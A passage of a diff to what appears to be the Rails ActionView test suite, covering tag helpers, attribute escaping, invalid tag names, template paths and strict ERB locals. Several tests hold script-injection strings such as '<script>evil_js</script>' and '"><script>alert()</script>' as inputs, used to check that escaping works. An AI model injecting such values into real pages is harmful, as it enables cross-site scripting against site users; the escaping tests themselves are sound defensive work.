+    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" allowpaymentrequest="allowpaymentrequest" nomodule="nomodule" playsinline="playsinline" />',
+      tag("p", disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true, allowpaymentrequest: true, nomodule: true, playsinline: true)
   end
 
   def test_tag_builder_options_converts_boolean_option
-    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
-      tag.p(disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true)
+    assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" allowpaymentrequest="allowpaymentrequest" nomodule="nomodule" playsinline="playsinline" />',
+      tag.p(disabled: true, itemscope: true, multiple: true, readonly: true, allowfullscreen: true, seamless: true, typemustmatch: true, sortable: true, default: true, inert: true, truespeed: true, allowpaymentrequest: true, nomodule: true, playsinline: true)
+  end
+
+  def test_tag_builder_with_options_builds_p_elements
+    html = tag.with_options(id: "with-options") { |t| t.p("content") }
+
+    assert_dom_equal '<p id="with-options">content</p>', html
+  end
+
+  def test_tag_builder_do_not_modify_html_safe_options
+    html_safe_str = '"'.html_safe
+    assert_equal "<p value=\"&quot;\" />", tag("p", value: html_safe_str)
+    assert_equal '"', html_safe_str
+    assert_predicate html_safe_str, :html_safe?
+  end
+
+  def test_tag_with_dangerous_name
+    INVALID_TAG_CHARS.each_char do |char|
+      tag_name = "asdf-#{char}"
+      assert_raise(ArgumentError, "expected #{tag_name.inspect} to be invalid") do
+        tag(tag_name)
+      end
+    end
+  end
+
+  def test_tag_builder_with_dangerous_name
+    INVALID_TAG_CHARS.each_char do |char|
+      tag_name = "asdf-#{char}".to_sym
+      assert_raise(ArgumentError, "expected #{tag_name.inspect} to be invalid") do
+        tag.public_send(tag_name)
+      end
+    end
+  end
+
+  def test_tag_with_dangerous_aria_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name aria-#{escaped_dangerous_chars}=\"the value\" />",
+                 tag("the-name", aria: { COMMON_DANGEROUS_CHARS => "the value" })
+
+    assert_equal "<the-name aria-#{COMMON_DANGEROUS_CHARS}=\"the value\" />",
+                 tag("the-name", { aria: { COMMON_DANGEROUS_CHARS => "the value" } }, false, false)
+  end
+
+  def test_tag_builder_with_dangerous_aria_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name aria-#{escaped_dangerous_chars}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", aria: { COMMON_DANGEROUS_CHARS => "the value" })
+
+    assert_equal "<the-name aria-#{COMMON_DANGEROUS_CHARS}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", aria: { COMMON_DANGEROUS_CHARS => "the value" }, escape: false)
+  end
+
+  def test_tag_with_dangerous_data_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name data-#{escaped_dangerous_chars}=\"the value\" />",
+                 tag("the-name", data: { COMMON_DANGEROUS_CHARS => "the value" })
+
+    assert_equal "<the-name data-#{COMMON_DANGEROUS_CHARS}=\"the value\" />",
+                 tag("the-name", { data: { COMMON_DANGEROUS_CHARS => "the value" } }, false, false)
+  end
+
+  def test_tag_builder_with_dangerous_data_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name data-#{escaped_dangerous_chars}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", data: { COMMON_DANGEROUS_CHARS => "the value" })
+
+    assert_equal "<the-name data-#{COMMON_DANGEROUS_CHARS}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", data: { COMMON_DANGEROUS_CHARS => "the value" }, escape: false)
+  end
+
+  def test_tag_with_dangerous_unknown_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name #{escaped_dangerous_chars}=\"the value\" />",
+                 tag("the-name", COMMON_DANGEROUS_CHARS => "the value")
+
+    assert_equal "<the-name #{COMMON_DANGEROUS_CHARS}=\"the value\" />",
+                 tag("the-name", { COMMON_DANGEROUS_CHARS => "the value" }, false, false)
+  end
+
+  def test_tag_builder_with_dangerous_unknown_attribute_name
+    escaped_dangerous_chars = "_" * COMMON_DANGEROUS_CHARS.size
+    assert_equal "<the-name #{escaped_dangerous_chars}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", COMMON_DANGEROUS_CHARS => "the value")
+
+    assert_equal "<the-name #{COMMON_DANGEROUS_CHARS}=\"the value\"></the-name>",
+                 tag.public_send(:"the-name", COMMON_DANGEROUS_CHARS => "the value", escape: false)
   end
 
   def test_content_tag
     assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
-    assert content_tag("a", "Create", "href" => "create").html_safe?
+    assert_predicate content_tag("a", "Create", "href" => "create"), :html_safe?
     assert_equal content_tag("a", "Create", "href" => "create"),
                  content_tag("a", "Create", href: "create")
     assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
                  content_tag(:p, "<script>evil_js</script>")
     assert_equal "<p><script>evil_js</script></p>",
                  content_tag(:p, "<script>evil_js</script>", nil, false)
+    assert_equal "<div @click=\"triggerNav()\">test</div>",
+                 content_tag(:div, "test", "@click": "triggerNav()")
   end
 
   def test_tag_builder_with_content
     assert_equal "<div id=\"post_1\">Content</div>", tag.div("Content", id: "post_1")
-    assert tag.div("Content", id: "post_1").html_safe?
+    assert_predicate tag.div("Content", id: "post_1"), :html_safe?
     assert_equal tag.div("Content", id: "post_1"),
                  tag.div("Content", "id": "post_1")
     assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
                  tag.p("<script>evil_js</script>")
     assert_equal "<p><script>evil_js</script></p>",
-                 tag.p("<script>evil_js</script>", escape_attributes: false)
+                 tag.p("<script>evil_js</script>", escape: false)
+    assert_equal '<input pattern="\w+">', tag.input(pattern: /\w+/)
   end
 
   def test_tag_builder_nested
@@ -180,6 +320,11 @@ def test_content_tag_nested_in_content_tag_in_erb
     assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/builder_tag_nested_in_content_tag")
   end
 
+  def test_content_tag_nested_in_content_tag_with_data_attributes_out_of_erb
+    assert_equal "<div data-controller=\"read-more\" data-read-more-more-text-value=\"Read more\" data-read-more-less-text-value=\"Read less\"\>\n  <p class=\"content-class\" data-test-name=\"content\">Content text</p>\n  <button class=\"expand-button\" data-action=\"read-more#toggle\">Read more</button>\n</div>",
+                  view.render("test/content_tag_nested_in_content_tag_with_data_attributes_out_of_erb")
+  end
+
   def test_content_tag_with_escaped_array_class
     str = content_tag("p", "limelight", class: ["song", "play>"])
     assert_equal "<p class=\"song play&gt;\">limelight</p>", str
@@ -211,10 +356,10 @@ def test_content_tag_with_unescaped_array_class
   end
 
   def test_tag_builder_with_unescaped_array_class
-    str = tag.p "limelight", class: ["song", "play>"], escape_attributes: false
+    str = tag.p "limelight", class: ["song", "play>"], escape: false
     assert_equal "<p class=\"song play>\">limelight</p>", str
 
-    str = tag.p "limelight", class: ["song", ["play>"]], escape_attributes: false
+    str = tag.p "limelight", class: ["song", ["play>"]], escape: false
     assert_equal "<p class=\"song play>\">limelight</p>", str
   end
 
@@ -233,15 +378,153 @@ def test_content_tag_with_unescaped_empty_array_class
   end
 
   def test_tag_builder_with_unescaped_empty_array_class
-    str = tag.p "limelight", class: [], escape_attributes: false
+    str = tag.p "limelight", class: [], escape: false
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_content_tag_with_conditional_hash_classes
+    str = content_tag("p", "limelight", class: { "song": true, "play": false })
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: [{ "song": true }, { "play": false }])
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: { song: true, play: false })
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: [{ song: true }, nil, false])
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: ["song", { foo: false }])
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: [1, 2, 3])
+    assert_equal "<p class=\"1 2 3\">limelight</p>", str
+
+    klass = Class.new do
+      def to_s
+        "1"
+      end
+    end
+
+    str = content_tag("p", "limelight", class: [klass.new])
+    assert_equal "<p class=\"1\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: { "song": true, "play": true })
+    assert_equal "<p class=\"song play\">limelight</p>", str
+
+    str = content_tag("p", "limelight", class: { "song": false, "play": false })
+    assert_equal '<p class="">limelight</p>', str
+  end
+
+  def test_tag_builder_with_conditional_hash_classes
+    str = tag.p "limelight", class: { "song": true, "play": false }
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = tag.p "limelight", class: [{ "song": true }, { "play": false }]
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = tag.p "limelight", class: { song: true, play: false }
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = tag.p "limelight", class: [{ song: true }, nil, false]
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = tag.p "limelight", class: ["song", { foo: false }]
+    assert_equal "<p class=\"song\">limelight</p>", str
+
+    str = tag.p "limelight", class: { "song": true, "play": true }
+    assert_equal "<p class=\"song play\">limelight</p>", str
+
+    str = tag.p "limelight", class: { "song": false, "play": false }
     assert_equal '<p class="">limelight</p>', str
   end
 
+  def test_content_tag_with_unescaped_conditional_hash_classes
+    str = content_tag("p", "limelight", { class: { "song": true, "play>": true } }, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = content_tag("p", "limelight", { class: ["song", { "play>": true }] }, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_content_tag_with_invalid_html_tag
+    invalid_tags = ["12p", "", "image file", "div/", "my>element", "_header"]
+    invalid_tags.each do |tag_name|
+      assert_raise(ArgumentError, "expected #{tag_name.inspect} to be invalid") do
+        content_tag(tag_name)
+      end
+    end
+  end
+
+  def test_tag_with_invalid_html_tag
+    invalid_tags = ["12p", "", "image file", "div/", "my>element", "_header"]
+    invalid_tags.each do |tag_name|
+      assert_raise(ArgumentError, "expected #{tag_name.inspect} to be invalid") do
+        tag(tag_name)
+      end
+    end
+  end
+
+  def test_tag_builder_with_unescaped_conditional_hash_classes
+    str = tag.p "limelight", class: { "song": true, "play>": true }, escape: false
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = tag.p "limelight", class: ["song", { "play>": true }], escape: false
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_token_list_and_class_names
+    [:token_list, :class_names].each do |helper_method|
+      helper = ->(*arguments) { public_send(helper_method, *arguments) }
+
+      assert_equal "song play", helper.(["song", { "play": true }])
+      assert_equal "song", helper.({ "song": true, "play": false })
+      assert_equal "song", helper.([{ "song": true }, { "play": false }])
+      assert_equal "song", helper.({ song: true, play: false })
+      assert_equal "song", helper.([{ song: true }, nil, false])
+      assert_equal "song", helper.(["song", { foo: false }])
+      assert_equal "song play", helper.({ "song": true, "play": true })
+      assert_equal "", helper.({ "song": false, "play": false })
+      assert_equal "123", helper.(nil, "", false, 123, { "song": false, "play": false })
+      assert_equal "song", helper.("song", "song")
+      assert_equal "song", helper.("song song")
+      assert_equal "song", helper.("song\nsong")
+    end
+  end
+
+  def test_token_list_and_class_names_returns_an_html_safe_string
+    assert_predicate token_list("a value"), :html_safe?
+    assert_predicate class_names("a value"), :html_safe?
+  end
+
+  def test_token_list_and_class_names_only_html_escape_once
+    [:token_list, :class_names].each do |helper_method|
+      helper = ->(*arguments) { public_send(helper_method, *arguments) }
+
+      tokens = %w[
+        click->controller#action1
+        click->controller#action2
+        click->controller#action3
+        click->controller#action4
+      ]
+
+      token_list = tokens.reduce(&helper)
+
+      assert_predicate token_list, :html_safe?
+      assert_equal tokens, (CGI.unescape_html(token_list)).split
+    end
+  end
+
   def test_content_tag_with_data_attributes
     assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
       content_tag("p", "limelight", data: { number: 1, string: "hello", string_with_quotes: 'double"quote"party"' })
   end
 
+  def test_content_tag_with_both_argument_and_block
+    assert_dom_equal "<p>limelight shines!</p>", tag.p("limelight") { " shines!" }
+  end
+
   def test_tag_builder_with_data_attributes
     assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
       tag.p("limelight", data: { number: 1, string: "hello", string_with_quotes: 'double"quote"party"' })
@@ -265,6 +548,34 @@ def test_escape_once
     assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
   end
 
+  def test_tag_attributes_inlines_html_attributes
+    expected_output = <<~HTML.strip
+      <input type="text" name="name" aria-hidden="false" aria-label="label" data-input-value="data" required="required">
+    HTML
+
+    assert_equal expected_output, render_erb(<<~HTML.strip)
+      <input type="text" <%= tag.attributes value: nil, name: "name", "aria-hidden": false, aria: { label: "label" }, data: { input_value: "data" }, required: true %>>
+    HTML
+  end
+
+  def test_tag_attributes_escapes_values
+    expected_output = <<~HTML.strip
+      <input type="text" xss="&quot;&gt;&lt;script&gt;alert()&lt;/script&gt;">
+    HTML
+
+    assert_equal expected_output, render_erb(<<~HTML.strip)
+      <input type="text" <%= tag.attributes xss: '"><script>alert()</script>' %>>
+    HTML
+  end
+
+  def test_tag_attributes_nil
+    assert_equal %(<input type="text" >), render_erb(%(<input type="text" <%= tag.attributes nil %>>))
+  end
+
+  def test_tag_attributes_empty
+    assert_equal %(<input type="text" >), render_erb(%(<input type="text" <%= tag.attributes({}) %>>))
+  end
+
   def test_tag_honors_html_safe_for_param_values
     ["1&amp;2", "1 &lt; 2", "&#8220;test&#8220;"].each do |escaped|
       assert_equal %(<a href="#{escaped}" />), tag("a", href: escaped.html_safe)
@@ -304,29 +615,30 @@ def test_disable_escaping
   end
 
   def test_tag_builder_disable_escaping
-    assert_equal '<a href="&amp;"></a>', tag.a(href: "&amp;", escape_attributes: false)
-    assert_equal '<a href="&amp;">cnt</a>', tag.a(href: "&amp;" , escape_attributes: false) { "cnt" }
-    assert_equal '<br data-hidden="&amp;">', tag.br("data-hidden": "&amp;" , escape_attributes: false)
-    assert_equal '<a href="&amp;">content</a>', tag.a("content", href: "&amp;", escape_attributes: false)
-    assert_equal '<a href="&amp;">content</a>', tag.a(href: "&amp;", escape_attributes: false) { "content" }
+    assert_equal '<a href="&amp;"></a>', tag.a(href: "&amp;", escape: false)
+    assert_equal '<a href="&amp;">cnt</a>', tag.a(href: "&amp;", escape: false) { "cnt" }
+    assert_equal '<br data-hidden="&amp;">', tag.br("data-hidden": "&amp;", escape: false)
+    assert_equal '<a href="&amp;">content</a>', tag.a("content", href: "&amp;", escape: false)
+    assert_equal '<a href="&amp;">content</a>', tag.a(href: "&amp;", escape: false) { "content" }
   end
 
   def test_data_attributes
     ["data", :data].each { |data|
       assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
-        tag("a", data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+        tag("a", data => { a_float: 3.14, a_big_decimal: BigDecimal("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
       assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
-        tag.a(data: { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+        tag.a(data: { a_float: 3.14, a_big_decimal: BigDecimal("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
     }
   end
 
   def test_aria_attributes
     ["aria", :aria].each { |aria|
-      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
-        tag("a", aria => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
-      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
-        tag.a(aria: { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: "hello", symbol: :foo, array: [1, 2, 3], hash: { key: "value" }, string_with_quotes: 'double"quote"party"' })
+      assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-truthy="true" aria-falsey="false" aria-array="1 2 3" aria-hash="a b" aria-tokens="a b" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+        tag("a", aria => { nil: nil, a_float: 3.14, a_big_decimal: BigDecimal("-123.456"), a_number: 1, truthy: true, falsey: false, string: "hello", symbol: :foo, array: [1, 2, 3], empty_array: [], hash: { a: true, b: "truthy", falsey: false, nil: nil }, empty_hash: {}, tokens: ["a", { b: true, c: false }], empty_tokens: [{ a: false }], string_with_quotes: 'double"quote"party"' })
     }
+
+    assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-truthy="true" aria-falsey="false" aria-array="1 2 3" aria-hash="a b" aria-tokens="a b" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+    tag.a(aria: { nil: nil, a_float: 3.14, a_big_decimal: BigDecimal("-123.456"), a_number: 1, truthy: true, falsey: false, string: "hello", symbol: :foo, array: [1, 2, 3], empty_array: [], hash: { a: true, b: "truthy", falsey: false, nil: nil }, empty_hash: {}, tokens: ["a", { b: true, c: false }], empty_tokens: [{ a: false }], string_with_quotes: 'double"quote"party"' })
   end
 
   def test_link_to_data_nil_equal
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
index 54c1d53b60a06..643c29602b469 100644
--- a/actionview/test/template/template_error_test.rb
+++ b/actionview/test/template/template_error_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class TemplateErrorTest < ActiveSupport::TestCase
@@ -32,4 +34,20 @@ def test_provides_useful_inspect
 
     assert_equal "#<ActionView::Template::Error: original>", error.inspect
   end
+
+  def test_annotated_source_code_returns_empty_array_if_source_cant_be_found
+    template = Class.new do
+      def identifier
+        "something"
+      end
+    end.new
+
+    error = begin
+      raise
+    rescue
+      raise ActionView::Template::Error.new(template) rescue $!
+    end
+
+    assert_equal [], error.annotated_source_code
+  end
 end
diff --git a/actionview/test/template/template_path_test.rb b/actionview/test/template/template_path_test.rb
new file mode 100644
index 0000000000000..13a6e61113689
--- /dev/null
+++ b/actionview/test/template/template_path_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TemplatePathTest < ActiveSupport::TestCase
+  def test_build_returns_path_object
+    path = ActionView::TemplatePath.build("bar", "foo", true)
+
+    assert_equal "foo/_bar", path.virtual
+    assert_equal "foo", path.prefix
+    assert_equal "bar", path.name
+    assert_predicate path, :partial?
+  end
+
+  def test_virtual
+    assert_equal "foo/bar", ActionView::TemplatePath.virtual("bar", "foo", false)
+    assert_equal "foo/_bar", ActionView::TemplatePath.virtual("bar", "foo", true)
+    assert_equal "bar", ActionView::TemplatePath.virtual("bar", "", false)
+    assert_equal "_bar", ActionView::TemplatePath.virtual("bar", "", true)
+    assert_equal "foo/bar/baz", ActionView::TemplatePath.virtual("baz", "foo/bar", false)
+  end
+
+  def test_parse_root_template
+    path = ActionView::TemplatePath.parse("foo")
+    assert_equal "", path.prefix
+    assert_equal "foo", path.name
+    assert_not path.partial?
+  end
+
+  def test_parse_root_template_with_slash
+    path = ActionView::TemplatePath.parse("/foo")
+    assert_equal "", path.prefix
+    assert_equal "foo", path.name
+    assert_not path.partial?
+  end
+
+  def test_parse_root_partial
+    path = ActionView::TemplatePath.parse("_foo")
+    assert_equal "", path.prefix
+    assert_equal "foo", path.name
+    assert_predicate path, :partial?
+  end
+
+  def test_parse_root_partial_with_slash
+    path = ActionView::TemplatePath.parse("/_foo")
+    assert_equal "", path.prefix
+    assert_equal "foo", path.name
+    assert_predicate path, :partial?
+  end
+
+  def test_parse_template
+    path = ActionView::TemplatePath.parse("foo/bar")
+    assert_equal "foo", path.prefix
+    assert_equal "bar", path.name
+    assert_not path.partial?
+  end
+
+  def test_parse_partial
+    path = ActionView::TemplatePath.parse("foo/_bar")
+    assert_equal "foo", path.prefix
+    assert_equal "bar", path.name
+    assert_predicate path, :partial?
+  end
+
+  def test_parse_deep_partial
+    path = ActionView::TemplatePath.parse("foo/bar/_baz")
+    assert_equal "foo/bar", path.prefix
+    assert_equal "baz", path.name
+    assert_predicate path, :partial?
+  end
+
+  def test_parse_deep_partial_with_slash
+    path = ActionView::TemplatePath.parse("/foo/bar/_baz")
+    assert_equal "foo/bar", path.prefix
+    assert_equal "baz", path.name
+    assert_predicate path, :partial?
+  end
+end
diff --git a/actionview/test/template/template_test.rb b/actionview/test/template/template_test.rb
index 9d31a987038b5..0ed65c7ea68bd 100644
--- a/actionview/test/template/template_test.rb
+++ b/actionview/test/template/template_test.rb
@@ -1,6 +1,7 @@
 # encoding: US-ASCII
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "logger"
 
 class TestERBTemplate < ActiveSupport::TestCase
   ERBHandler = ActionView::Template::Handlers::ERB.new
@@ -16,9 +17,10 @@ def find_template(*args)
     attr_accessor :formats
   end
 
-  class Context
-    def initialize
-      @output_buffer = "original"
+  class Context < ActionView::Base
+    def initialize(*)
+      super
+      @output_buffer << "original"
       @virtual_path = nil
     end
 
@@ -35,7 +37,9 @@ def partial
         "<%= @virtual_path %>",
         "partial",
         ERBHandler,
-        virtual_path: "partial"
+        virtual_path: "partial",
+        format: :html,
+        locals: []
       )
     end
 
@@ -48,20 +52,34 @@ def logger
     end
 
     def my_buffer
-      @output_buffer
+      @output_buffer.to_s
     end
   end
 
-  def new_template(body = "<%= hello %>", details = { format: :html })
-    ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, { virtual_path: "hello" }.merge!(details))
+  def new_template(body = "<%= hello %>", details = {})
+    details = { format: :html, locals: [] }.merge details
+    ActionView::Template.new(body.dup, "hello template", details.delete(:handler) || ERBHandler, virtual_path: "hello", **details)
+  end
+
+  def render(implicit_locals: [], **locals)
+    @template.render(@context, locals, implicit_locals: implicit_locals)
   end
 
-  def render(locals = {})
-    @template.render(@context, locals)
+  def spot_highlight(compiled, highlight, first_column: nil, **options)
+    # rindex by default since our tests usually put the highlight last
+    first_column ||= compiled.byterindex(highlight) || 999
+    last_column = first_column + highlight.bytesize
+    spot = {
+      first_column:, last_column:, snippet: compiled,
+      first_lineno: 1, last_lineno: 1, script_lines: compiled.lines,
+    }
+    spot.merge!(options)
+    spot
   end
 
   def setup
-    @context = Context.new
+    @context = Context.with_empty_template_cache.empty
+    super
   end
 
   def test_basic_template
@@ -84,10 +102,10 @@ def test_raw_template
     assert_equal "<%= hello %>", render
   end
 
-  def test_template_loses_its_source_after_rendering
+  def test_template_does_not_lose_its_source_after_rendering
     @template = new_template
     render
-    assert_nil @template.source
+    assert_equal "<%= hello %>", @template.source
   end
 
   def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
@@ -97,8 +115,7 @@ def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a
   end
 
   def test_locals
-    @template = new_template("<%= my_local %>")
-    @template.locals = [:my_local]
+    @template = new_template("<%= my_local %>", locals: [:my_local])
     assert_equal "I am a local", render(my_local: "I am a local")
   end
 
@@ -115,27 +132,12 @@ def test_virtual_path
     assert_equal "hellopartialhello", render
   end
 
-  def test_refresh_with_templates
-    @template = new_template("Hello", virtual_path: "test/foo/bar")
-    @template.locals = [:key]
-    assert_called_with(@context.lookup_context, :find_template, ["bar", %w(test/foo), false, [:key]], returns: "template") do
-      assert_equal "template", @template.refresh(@context)
-    end
-  end
-
-  def test_refresh_with_partials
-    @template = new_template("Hello", virtual_path: "test/_foo")
-    @template.locals = [:key]
-    assert_called_with(@context.lookup_context, :find_template, ["foo", %w(test), true, [:key]], returns: "partial") do
-      assert_equal "partial", @template.refresh(@context)
-    end
-  end
-
-  def test_refresh_raises_an_error_without_virtual_path
-    @template = new_template("Hello", virtual_path: nil)
-    assert_raise RuntimeError do
-      @template.refresh(@context)
-    end
+  def test_rendering_non_string
+    my_object = Object.new
+    eval_handler = ->(_template, source) { source }
+    @template = ActionView::Template.new("my_object", "__id__", eval_handler, virtual_path: "hello", locals: [:my_object])
+    result = render(my_object: my_object)
+    assert_same my_object, result
   end
 
   def test_resulting_string_is_utf8
@@ -166,6 +168,150 @@ def test_encoding_can_be_specified_with_magic_comment
     assert_equal "\nhello \u{fc}mlat", render
   end
 
+  def test_locals_can_be_disabled
+    error = assert_raises(ActionView::Template::Error) do
+      @template = new_template("<%# locals: () -%>")
+      render(foo: "bar")
+    end
+
+    assert_match(/no locals accepted for hello template/, error.message)
+  end
+
+  def test_locals_can_not_be_specified_with_positional_arguments
+    error = assert_raises(ActionView::Template::Error) do
+      @template = new_template("<%# locals: (foo) -%>")
+      render(foo: "bar")
+    end
+
+    assert_match(/`foo` set as non-keyword argument/, error.message)
+  end
+
+  def test_locals_can_be_specified_with_splat_arguments
+    @template = new_template("<%# locals: (**etc) -%><%= etc[:foo] %>")
+    assert_equal "bar", render(foo: "bar")
+  end
+
+  def test_locals_can_be_specified_with_keyword_and_splat_arguments
+    @template = new_template("<%# locals: (id:, **attributes) -%>\n<%= tag.hr(id: id, **attributes) %>")
+    assert_equal '<hr id="1" class="h-1">', render(id: 1, class: "h-1")
+  end
+
+  def test_locals_cannot_be_specified_with_positional_arguments
+    @template = new_template("<%# locals: (argument = 'content') -%>\n<%= argument %>")
+    assert_raises ActionView::Template::Error, match: "`argument` set as non-keyword argument for hello template. Locals can only be set as keyword arguments." do
+      render
+    end
+  end
+
+  def test_locals_cannot_be_specified_with_block_arguments
+    @template = new_template("<%# locals: (&block) -%>\n<%= tag.div(&block) %>")
+    assert_raises ActionView::Template::Error, match: "`block` set as non-keyword argument for hello template. Locals can only be set as keyword arguments." do
+      render { "content" }
+    end
+  end
+
+  def test_locals_can_be_specified
+    @template = new_template("<%# locals: (message:) -%>\n<%= message %>")
+    assert_equal "Hello", render(message: "Hello")
+  end
+
+  def test_default_locals_can_be_specified
+    @template = new_template("<%# locals: (message: 'Hello') -%>\n<%= message %>")
+    assert_equal "Hello", render
+  end
+
+  def test_locals_with_parentheses
+    @template = new_template("<%# locals: (message: '(Hello)') -%>\n<%= message %>")
+    assert_equal "(Hello)", render
+
+    @template = new_template("<%# locals: (message: '(Hello') -%>\n<%= message %>")
+    assert_equal "(Hello", render
+
+    @template = new_template("<%# locals: (message: 'Hello)') -%>\n<%= message %>")
+    assert_equal "Hello)", render
+  end
+
+  def test_locals_can_spread_to_multiple_lines
+    template = <<~ERB.chomp
+        <%# locals: (arg_1:,
+                     arg_2: nil,
+                     arg_3: []) -%>
+        <%= arg_1 %><%= arg_2 %><%= arg_3 %>
+    ERB
+    @template = new_template(template)
+    assert_equal "First[]", render(arg_1: "First")
+  end
+
+  def test_locals_can_spread_to_multiple_lines_with_closing_parenthesis_on_diff_line
+    template = <<~ERB.chomp
+        <%# locals: (
+                      arg_1:,
+                      arg_2: nil,
+                      arg_3: []
+                     ) -%>
+        <%= arg_1 %><%= arg_2 %><%= arg_3 %>
+    ERB
+    @template = new_template(template)
+    assert_equal "First[]", render(arg_1: "First")
+  end
+
+  def test_required_locals_must_be_specified
+    error = assert_raises(ActionView::Template::Error) do
+      @template = new_template("<%# locals: (message:) -%>")
+      render
+    end
+
+    assert_match(/missing local: :message for hello template/, error.message)
+    assert_instance_of ActionView::StrictLocalsError, error.cause
+  end
+
+  def test_extra_locals_raises_strict_locals_error
+    error = assert_raises(ActionView::Template::Error) do
+      @template = new_template("<%# locals: (message:) -%>")
